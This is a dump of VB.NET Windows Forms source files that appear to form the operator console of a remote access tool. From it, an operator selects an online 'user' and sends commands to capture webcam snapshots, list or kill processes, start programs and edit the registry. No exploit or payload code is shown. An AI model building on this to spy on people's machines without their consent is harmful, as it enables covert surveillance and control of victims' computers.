59 | Me.PictureBox1.Name = "PictureBox1"
60 | Me.PictureBox1.Size = New System.Drawing.Size(20, 19)
61 | Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage
62 | Me.PictureBox1.TabIndex = 2
63 | Me.PictureBox1.TabStop = False
64 | '
65 | 'Waiting
66 | '
67 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
68 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
69 | Me.ClientSize = New System.Drawing.Size(198, 69)
70 | Me.ControlBox = False
71 | Me.Controls.Add(Me.PictureBox1)
72 | Me.Controls.Add(Me.LabelLoadingStatus)
73 | Me.Controls.Add(Me.ProgressBar1)
74 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow
75 | Me.MaximizeBox = False
76 | Me.MinimizeBox = False
77 | Me.Name = "Waiting"
78 | Me.ShowIcon = False
79 | Me.ShowInTaskbar = False
80 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent
81 | Me.Text = "Loading..."
82 | Me.TopMost = True
83 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
84 | Me.ResumeLayout(False)
85 | Me.PerformLayout()
86 |
87 | End Sub
88 | Friend WithEvents ProgressBar1 As System.Windows.Forms.ProgressBar
89 | Friend WithEvents LabelLoadingStatus As System.Windows.Forms.Label
90 | Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox
91 | Friend WithEvents TimerResponseTime As System.Windows.Forms.Timer
92 | End Class
93 |
--------------------------------------------------------------------------------
/Client/Client/Client/Webcamviewer.vb:
--------------------------------------------------------------------------------
1 | Public Class Webcamviewer
2 |
3 | Public Function HexToWebcamSnapshot(ByVal HexString As String) As Image
4 | Try
5 | If HexString = Nothing Then
6 | MsgBox("Invalid data recieved. Retry.", MsgBoxStyle.Exclamation)
7 | Return Nothing
8 | End If
9 | Dim Bytes(HexString.Length \ 2 - 1) As Byte
10 | For I = 0 To Bytes.Length - 1
11 | Bytes(I) = Convert.ToByte(HexString.Substring(I * 2, 2), 16)
12 | Next
13 | Return Image.FromStream(New IO.MemoryStream(Bytes))
14 | Catch ex As Exception
15 | MsgBox("Failed formatting data from stream. Please retry.", MsgBoxStyle.Exclamation)
16 | Return Nothing
17 | End Try
18 | End Function
19 |
20 | Public Sub SplitWebcamDevices(ByVal WebcamString As String)
21 | ComboBoxWebcamDevices.Items.Clear()
22 | Dim WebcamDevices() As String = Split(WebcamString, "|||")
23 | For i As Integer = 0 To WebcamDevices.Length - 1
24 | ComboBoxWebcamDevices.Items.Add(WebcamDevices(i))
25 | Next
26 | ComboBoxWebcamDevices.Items.Remove(String.Empty)
27 | ComboBoxWebcamDevices.SelectedIndex = 0
28 | End Sub
29 |
30 | Private Sub ButtonSaveSnapshot_Click(sender As Object, e As EventArgs) Handles ButtonSaveSnapshot.Click
31 | If PictureBoxWebcam.Image Is Nothing Then
32 | MsgBox("Please take a webcam snapshot first.", MsgBoxStyle.Exclamation, "Webcamviewer")
33 | Exit Sub
34 | Else
35 | If SaveFileDialogWebcam.ShowDialog = Windows.Forms.DialogResult.OK Then
36 | PictureBoxWebcam.Image.Save(SaveFileDialogWebcam.FileName, System.Drawing.Imaging.ImageFormat.Jpeg)
37 | MsgBox("Screenshot saved with success.", MsgBoxStyle.Information, "Webcamviewer")
38 | End If
39 | End If
40 | End Sub
41 |
42 | Private Sub ButtonTakeSnapshot_Click(sender As Object, e As EventArgs) Handles ButtonTakeSnapshot.Click
43 |
44 | Settings.AddLog("Pending", Settings.State.Pending, "Taking webcam snapshot...")
45 | Main.ShowNoGroupsToolStripMenuItem.PerformClick()
46 | If ComboBoxWebcamDevices.Items.Count = 0 Then
47 | MsgBox("No webcam device selected.", MsgBoxStyle.Exclamation, "Webcamviewer")
48 | Exit Sub
49 | Else
50 | Dim SelectedDevice As Integer = ComboBoxWebcamDevices.SelectedIndex
51 | If Main.ListViewMain.Items.Count > 0 Then
52 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
53 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
54 | Else
55 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
56 | End If
57 | Try
58 | Main.WriteData(CType(SelectedDevice, String)) 'here
59 | Main.WriteCommand(Main.SelectedUserID & "|34")
60 | Waiting.ShowDialog()
61 | Catch x As Exception
62 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Webcamviewer")
63 | End Try
64 | End If
65 | End Sub
66 |
67 | Public Sub ButtonLoadDevices_Click(sender As Object, e As EventArgs) Handles ButtonLoadDevices.Click
68 | Settings.AddLog("Pending", Settings.State.Pending, "Requesting webcam devices...")
69 | ComboBoxWebcamDevices.Items.Clear()
70 | If Main.ListViewMain.Items.Count > 0 Then
71 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
72 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
73 | Else
74 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
75 | End If
76 | Try
77 | Main.WriteCommand(Main.SelectedUserID & "|33")
78 | Waiting.ShowDialog()
79 | Catch x As Exception
80 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Webcamviewer")
81 | End Try
82 | End Sub
83 |
84 | Private Sub ComboBoxWebcamDevices_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ComboBoxWebcamDevices.SelectedIndexChanged
85 |
86 | End Sub
87 |
88 | Private Sub Webcamviewer_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
89 | PictureBoxWebcam.Image = Nothing
90 | ComboBoxWebcamDevices.Items.Clear()
91 | End Sub
92 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/ProcessmanagerModules.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class ProcessmanagerModules
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(ProcessmanagerModules))
26 | Me.ListBoxModules = New System.Windows.Forms.ListBox()
27 | Me.Label1 = New System.Windows.Forms.Label()
28 | Me.LabelModuleCount = New System.Windows.Forms.Label()
29 | Me.SuspendLayout()
30 | '
31 | 'ListBoxModules
32 | '
33 | Me.ListBoxModules.FormattingEnabled = True
34 | Me.ListBoxModules.Location = New System.Drawing.Point(12, 85)
35 | Me.ListBoxModules.Name = "ListBoxModules"
36 | Me.ListBoxModules.Size = New System.Drawing.Size(207, 134)
37 | Me.ListBoxModules.TabIndex = 0
38 | '
39 | 'Label1
40 | '
41 | Me.Label1.AutoSize = True
42 | Me.Label1.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
43 | Me.Label1.Location = New System.Drawing.Point(11, 9)
44 | Me.Label1.Name = "Label1"
45 | Me.Label1.Size = New System.Drawing.Size(216, 65)
46 | Me.Label1.TabIndex = 1
47 | Me.Label1.Text = "This is a list of the loaded modules" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "(DLL-Files) of the selected process." & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "On so" & _
48 | "me processes the server need" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "elevated privileges in order to get a " & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "list of th" & _
49 | "e loaded DLL's."
50 | '
51 | 'LabelModuleCount
52 | '
53 | Me.LabelModuleCount.AutoSize = True
54 | Me.LabelModuleCount.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
55 | Me.LabelModuleCount.ForeColor = System.Drawing.SystemColors.MenuHighlight
56 | Me.LabelModuleCount.Location = New System.Drawing.Point(12, 226)
57 | Me.LabelModuleCount.Name = "LabelModuleCount"
58 | Me.LabelModuleCount.Size = New System.Drawing.Size(115, 13)
59 | Me.LabelModuleCount.TabIndex = 2
60 | Me.LabelModuleCount.Text = "Loaded 0 modules."
61 | '
62 | 'ProcessmanagerModules
63 | '
64 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
65 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
66 | Me.ClientSize = New System.Drawing.Size(231, 248)
67 | Me.Controls.Add(Me.LabelModuleCount)
68 | Me.Controls.Add(Me.Label1)
69 | Me.Controls.Add(Me.ListBoxModules)
70 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
71 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
72 | Me.MaximizeBox = False
73 | Me.MinimizeBox = False
74 | Me.Name = "ProcessmanagerModules"
75 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent
76 | Me.Text = "Modules (Loaded DLL's)"
77 | Me.TopMost = True
78 | Me.ResumeLayout(False)
79 | Me.PerformLayout()
80 |
81 | End Sub
82 | Friend WithEvents ListBoxModules As System.Windows.Forms.ListBox
83 | Friend WithEvents Label1 As System.Windows.Forms.Label
84 | Friend WithEvents LabelModuleCount As System.Windows.Forms.Label
85 | End Class
86 |
--------------------------------------------------------------------------------
/Client/Client/Client/FilemanagerCreateFolder.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class FilemanagerCreateFolder
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(FilemanagerCreateFolder))
26 | Me.Label1 = New System.Windows.Forms.Label()
27 | Me.TextBox1 = New System.Windows.Forms.TextBox()
28 | Me.ButtonRename = New System.Windows.Forms.Button()
29 | Me.ButtonCancel = New System.Windows.Forms.Button()
30 | Me.SuspendLayout()
31 | '
32 | 'Label1
33 | '
34 | Me.Label1.AutoSize = True
35 | Me.Label1.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
36 | Me.Label1.Location = New System.Drawing.Point(21, 16)
37 | Me.Label1.Name = "Label1"
38 | Me.Label1.Size = New System.Drawing.Size(218, 26)
39 | Me.Label1.TabIndex = 0
40 | Me.Label1.Text = "Enter the name of the new directory " & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "you like to create"
41 | '
42 | 'TextBox1
43 | '
44 | Me.TextBox1.Location = New System.Drawing.Point(24, 54)
45 | Me.TextBox1.Name = "TextBox1"
46 | Me.TextBox1.Size = New System.Drawing.Size(205, 20)
47 | Me.TextBox1.TabIndex = 1
48 | '
49 | 'ButtonRename
50 | '
51 | Me.ButtonRename.Image = CType(resources.GetObject("ButtonRename.Image"), System.Drawing.Image)
52 | Me.ButtonRename.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
53 | Me.ButtonRename.Location = New System.Drawing.Point(24, 82)
54 | Me.ButtonRename.Name = "ButtonRename"
55 | Me.ButtonRename.Size = New System.Drawing.Size(92, 25)
56 | Me.ButtonRename.TabIndex = 2
57 | Me.ButtonRename.Text = "Create"
58 | Me.ButtonRename.UseVisualStyleBackColor = True
59 | '
60 | 'ButtonCancel
61 | '
62 | Me.ButtonCancel.Image = CType(resources.GetObject("ButtonCancel.Image"), System.Drawing.Image)
63 | Me.ButtonCancel.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
64 | Me.ButtonCancel.Location = New System.Drawing.Point(141, 82)
65 | Me.ButtonCancel.Name = "ButtonCancel"
66 | Me.ButtonCancel.Size = New System.Drawing.Size(88, 25)
67 | Me.ButtonCancel.TabIndex = 3
68 | Me.ButtonCancel.Text = "Cancel"
69 | Me.ButtonCancel.UseVisualStyleBackColor = True
70 | '
71 | 'FilemanagerCreateFolder
72 | '
73 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
74 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
75 | Me.ClientSize = New System.Drawing.Size(258, 117)
76 | Me.ControlBox = False
77 | Me.Controls.Add(Me.ButtonCancel)
78 | Me.Controls.Add(Me.ButtonRename)
79 | Me.Controls.Add(Me.TextBox1)
80 | Me.Controls.Add(Me.Label1)
81 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
82 | Me.Name = "FilemanagerCreateFolder"
83 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent
84 | Me.Text = "Create New Folder"
85 | Me.TopMost = True
86 | Me.ResumeLayout(False)
87 | Me.PerformLayout()
88 |
89 | End Sub
90 | Friend WithEvents Label1 As System.Windows.Forms.Label
91 | Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
92 | Friend WithEvents ButtonRename As System.Windows.Forms.Button
93 | Friend WithEvents ButtonCancel As System.Windows.Forms.Button
94 | End Class
95 |
--------------------------------------------------------------------------------
/Client/Client/Client/ProcessmanagerStartProcess.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class ProcessmanagerStartProcess
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(ProcessmanagerStartProcess))
26 | Me.ButtonStartProcess = New System.Windows.Forms.Button()
27 | Me.ButtonAbort = New System.Windows.Forms.Button()
28 | Me.TextBoxProcessname = New System.Windows.Forms.TextBox()
29 | Me.Label1 = New System.Windows.Forms.Label()
30 | Me.SuspendLayout()
31 | '
32 | 'ButtonStartProcess
33 | '
34 | Me.ButtonStartProcess.Image = CType(resources.GetObject("ButtonStartProcess.Image"), System.Drawing.Image)
35 | Me.ButtonStartProcess.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
36 | Me.ButtonStartProcess.Location = New System.Drawing.Point(12, 82)
37 | Me.ButtonStartProcess.Name = "ButtonStartProcess"
38 | Me.ButtonStartProcess.Size = New System.Drawing.Size(75, 23)
39 | Me.ButtonStartProcess.TabIndex = 0
40 | Me.ButtonStartProcess.Text = "Start"
41 | Me.ButtonStartProcess.UseVisualStyleBackColor = True
42 | '
43 | 'ButtonAbort
44 | '
45 | Me.ButtonAbort.Image = CType(resources.GetObject("ButtonAbort.Image"), System.Drawing.Image)
46 | Me.ButtonAbort.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
47 | Me.ButtonAbort.Location = New System.Drawing.Point(93, 82)
48 | Me.ButtonAbort.Name = "ButtonAbort"
49 | Me.ButtonAbort.Size = New System.Drawing.Size(88, 23)
50 | Me.ButtonAbort.TabIndex = 1
51 | Me.ButtonAbort.Text = "Cancel"
52 | Me.ButtonAbort.UseVisualStyleBackColor = True
53 | '
54 | 'TextBoxProcessname
55 | '
56 | Me.TextBoxProcessname.Location = New System.Drawing.Point(12, 56)
57 | Me.TextBoxProcessname.Name = "TextBoxProcessname"
58 | Me.TextBoxProcessname.Size = New System.Drawing.Size(240, 20)
59 | Me.TextBoxProcessname.TabIndex = 2
60 | '
61 | 'Label1
62 | '
63 | Me.Label1.AutoSize = True
64 | Me.Label1.Location = New System.Drawing.Point(16, 14)
65 | Me.Label1.Name = "Label1"
66 | Me.Label1.Size = New System.Drawing.Size(220, 26)
67 | Me.Label1.TabIndex = 3
68 | Me.Label1.Text = "Enter the name of the file you like to execute." & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "(For example notepad.exe)"
69 | '
70 | 'ProcessmanagerStartProcess
71 | '
72 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
73 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
74 | Me.ClientSize = New System.Drawing.Size(264, 117)
75 | Me.ControlBox = False
76 | Me.Controls.Add(Me.Label1)
77 | Me.Controls.Add(Me.TextBoxProcessname)
78 | Me.Controls.Add(Me.ButtonAbort)
79 | Me.Controls.Add(Me.ButtonStartProcess)
80 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
81 | Me.MaximizeBox = False
82 | Me.MinimizeBox = False
83 | Me.Name = "ProcessmanagerStartProcess"
84 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent
85 | Me.Text = "Start New Process"
86 | Me.TopMost = True
87 | Me.ResumeLayout(False)
88 | Me.PerformLayout()
89 |
90 | End Sub
91 | Friend WithEvents ButtonStartProcess As System.Windows.Forms.Button
92 | Friend WithEvents ButtonAbort As System.Windows.Forms.Button
93 | Friend WithEvents TextBoxProcessname As System.Windows.Forms.TextBox
94 | Friend WithEvents Label1 As System.Windows.Forms.Label
95 | End Class
96 |
--------------------------------------------------------------------------------
/Client/Client/Client/RegistrymanagerCreateValue.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class RegistrymanagerCreateValue
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(RegistrymanagerCreateValue))
26 | Me.Label1 = New System.Windows.Forms.Label()
27 | Me.Label2 = New System.Windows.Forms.Label()
28 | Me.TextBoxRegistryName = New System.Windows.Forms.TextBox()
29 | Me.TextBoxRegistryData = New System.Windows.Forms.TextBox()
30 | Me.Button1 = New System.Windows.Forms.Button()
31 | Me.SuspendLayout()
32 | '
33 | 'Label1
34 | '
35 | Me.Label1.AutoSize = True
36 | Me.Label1.Location = New System.Drawing.Point(15, 25)
37 | Me.Label1.Name = "Label1"
38 | Me.Label1.Size = New System.Drawing.Size(103, 13)
39 | Me.Label1.TabIndex = 0
40 | Me.Label1.Text = "Registryvalue name:"
41 | '
42 | 'Label2
43 | '
44 | Me.Label2.AutoSize = True
45 | Me.Label2.Location = New System.Drawing.Point(15, 73)
46 | Me.Label2.Name = "Label2"
47 | Me.Label2.Size = New System.Drawing.Size(98, 13)
48 | Me.Label2.TabIndex = 1
49 | Me.Label2.Text = "Registryvalue data:"
50 | '
51 | 'TextBoxRegistryName
52 | '
53 | Me.TextBoxRegistryName.Location = New System.Drawing.Point(18, 41)
54 | Me.TextBoxRegistryName.Name = "TextBoxRegistryName"
55 | Me.TextBoxRegistryName.Size = New System.Drawing.Size(235, 20)
56 | Me.TextBoxRegistryName.TabIndex = 2
57 | '
58 | 'TextBoxRegistryData
59 | '
60 | Me.TextBoxRegistryData.Location = New System.Drawing.Point(18, 89)
61 | Me.TextBoxRegistryData.Name = "TextBoxRegistryData"
62 | Me.TextBoxRegistryData.Size = New System.Drawing.Size(235, 20)
63 | Me.TextBoxRegistryData.TabIndex = 3
64 | '
65 | 'Button1
66 | '
67 | Me.Button1.Image = CType(resources.GetObject("Button1.Image"), System.Drawing.Image)
68 | Me.Button1.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
69 | Me.Button1.Location = New System.Drawing.Point(79, 120)
70 | Me.Button1.Name = "Button1"
71 | Me.Button1.Size = New System.Drawing.Size(121, 23)
72 | Me.Button1.TabIndex = 4
73 | Me.Button1.Text = "Create Value"
74 | Me.Button1.UseVisualStyleBackColor = True
75 | '
76 | 'RegistrymanagerCreateValue
77 | '
78 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
79 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
80 | Me.ClientSize = New System.Drawing.Size(269, 151)
81 | Me.Controls.Add(Me.Button1)
82 | Me.Controls.Add(Me.TextBoxRegistryData)
83 | Me.Controls.Add(Me.TextBoxRegistryName)
84 | Me.Controls.Add(Me.Label2)
85 | Me.Controls.Add(Me.Label1)
86 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
87 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
88 | Me.MaximizeBox = False
89 | Me.MinimizeBox = False
90 | Me.Name = "RegistrymanagerCreateValue"
91 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent
92 | Me.Text = "Create Registry Value"
93 | Me.TopMost = True
94 | Me.ResumeLayout(False)
95 | Me.PerformLayout()
96 |
97 | End Sub
98 | Friend WithEvents Label1 As System.Windows.Forms.Label
99 | Friend WithEvents Label2 As System.Windows.Forms.Label
100 | Friend WithEvents TextBoxRegistryName As System.Windows.Forms.TextBox
101 | Friend WithEvents TextBoxRegistryData As System.Windows.Forms.TextBox
102 | Friend WithEvents Button1 As System.Windows.Forms.Button
103 | End Class
104 |
--------------------------------------------------------------------------------
/Client/Client/Client/Processmanager.vb:
--------------------------------------------------------------------------------
1 | Public Class Processmanager
2 |
3 | Private Sub ButtonRefreshProcesses_Click(sender As Object, e As EventArgs) Handles ButtonRefreshProcesses.Click
4 | Settings.AddLog("Pending", Settings.State.Pending, "Requesting processlist...")
5 | ListViewProcesses.Items.Clear()
6 | If Main.ListViewMain.Items.Count > 0 Then
7 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
8 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
9 | Else
10 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
11 | End If
12 | Try
13 | Main.WriteCommand(Main.SelectedUserID & "|5")
14 | Waiting.ShowDialog()
15 | Catch x As Exception
16 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager")
17 | End Try
18 | End Sub
19 |
20 | Public Sub SplitData(ByVal Data As String)
21 | If Data = Nothing Then
22 | MsgBox("Formatting Failed. Please Retry.", MsgBoxStyle.Exclamation)
23 | Exit Sub
24 | End If
25 | Dim lines() = Data.Split({";;;"}, StringSplitOptions.None)
26 | For Each line In lines
27 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None)
28 | Dim item = ListViewProcesses.Items.Add(parts(0), 0)
29 | For i = 1 To Math.Min(parts.Length - 1, 2)
30 | Dim PIDcheck As String = parts(i)
31 | item.SubItems.Add(parts(i))
32 | If item.SubItems(i).Text.EndsWith("*") Then
33 | item.ImageIndex = 1
34 | item.ForeColor = Color.Red
35 | item.SubItems(1).Text = item.SubItems(1).Text.Replace("*", String.Empty)
36 | Else
37 | item.ImageIndex = 0
38 | item.SubItems.Add(parts(i))
39 | End If
40 |
41 |
42 | Next
43 | Next
44 |
45 | For Each item As ListViewItem In ListViewProcesses.Items
46 | If (String.IsNullOrWhiteSpace(item.Text) Or String.IsNullOrEmpty(item.Text)) Then
47 | item.Remove()
48 | End If
49 | Next
50 | End Sub
51 |
52 | Private Sub Processmanager_FormClosed(sender As Object, e As FormClosedEventArgs) Handles MyBase.FormClosed
53 | ListViewProcesses.Items.Clear()
54 | End Sub
55 |
56 | Private Sub StartProcessToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles StartProcessToolStripMenuItem.Click
57 | ProcessmanagerStartProcess.ShowDialog()
58 | End Sub
59 |
60 | Private Sub TerminateProcessToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles TerminateProcessToolStripMenuItem.Click
61 | Settings.AddLog("Pending", Settings.State.Pending, "Terminating process...")
62 | If Main.ListViewMain.Items.Count > 0 Then
63 | If Me.ListViewProcesses.SelectedItems.Count > 0 Then
64 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
65 | Try
66 | Main.WriteData(ListViewProcesses.SelectedItems(0).SubItems(1).Text)
67 | Main.WriteCommand(Main.SelectedUserID & "|7")
68 | Waiting.ShowDialog()
69 | Catch x As Exception
70 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager")
71 | End Try
72 | End If
73 | Else
74 | MsgBox("Select a process to terminate.", MsgBoxStyle.Exclamation)
75 | End If
76 | End Sub
77 |
78 | Private Sub GetModulesToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetModulesToolStripMenuItem.Click
79 | If Main.ListViewMain.Items.Count > 0 Then
80 | If Me.ListViewProcesses.SelectedItems.Count > 0 Then
81 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
82 | Try
83 | Main.WriteData(ListViewProcesses.SelectedItems(0).SubItems(1).Text)
84 | Main.WriteCommand(Main.SelectedUserID & "|8")
85 | Waiting.ShowDialog()
86 | Catch x As Exception
87 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager")
88 | End Try
89 | End If
90 | Else
91 | MsgBox("Select a process to load the modules from.", MsgBoxStyle.Exclamation)
92 | End If
93 | End Sub
94 |
95 | Private Sub ListViewProcesses_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListViewProcesses.SelectedIndexChanged
96 |
97 | End Sub
98 |
99 | Private Sub Processmanager_Load(sender As Object, e As EventArgs) Handles MyBase.Load
100 |
101 | End Sub
102 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/FilemanagerRenameFile.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class FilemanagerRenameFile
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(FilemanagerRenameFile))
26 | Me.Label1 = New System.Windows.Forms.Label()
27 | Me.ButtonRenameFile = New System.Windows.Forms.Button()
28 | Me.ButtonCancel = New System.Windows.Forms.Button()
29 | Me.TextBoxRenameFile = New System.Windows.Forms.TextBox()
30 | Me.SuspendLayout()
31 | '
32 | 'Label1
33 | '
34 | Me.Label1.AutoSize = True
35 | Me.Label1.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
36 | Me.Label1.Location = New System.Drawing.Point(12, 9)
37 | Me.Label1.Name = "Label1"
38 | Me.Label1.Size = New System.Drawing.Size(259, 39)
39 | Me.Label1.TabIndex = 0
40 | Me.Label1.Text = "Please enter the new name for the file you " & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "like to rename and make sure you ad" & _
41 | "d the" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "file extension: "
42 | '
43 | 'ButtonRenameFile
44 | '
45 | Me.ButtonRenameFile.Image = CType(resources.GetObject("ButtonRenameFile.Image"), System.Drawing.Image)
46 | Me.ButtonRenameFile.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
47 | Me.ButtonRenameFile.Location = New System.Drawing.Point(15, 84)
48 | Me.ButtonRenameFile.Name = "ButtonRenameFile"
49 | Me.ButtonRenameFile.Size = New System.Drawing.Size(93, 24)
50 | Me.ButtonRenameFile.TabIndex = 1
51 | Me.ButtonRenameFile.Text = "Rename"
52 | Me.ButtonRenameFile.UseVisualStyleBackColor = True
53 | '
54 | 'ButtonCancel
55 | '
56 | Me.ButtonCancel.Image = CType(resources.GetObject("ButtonCancel.Image"), System.Drawing.Image)
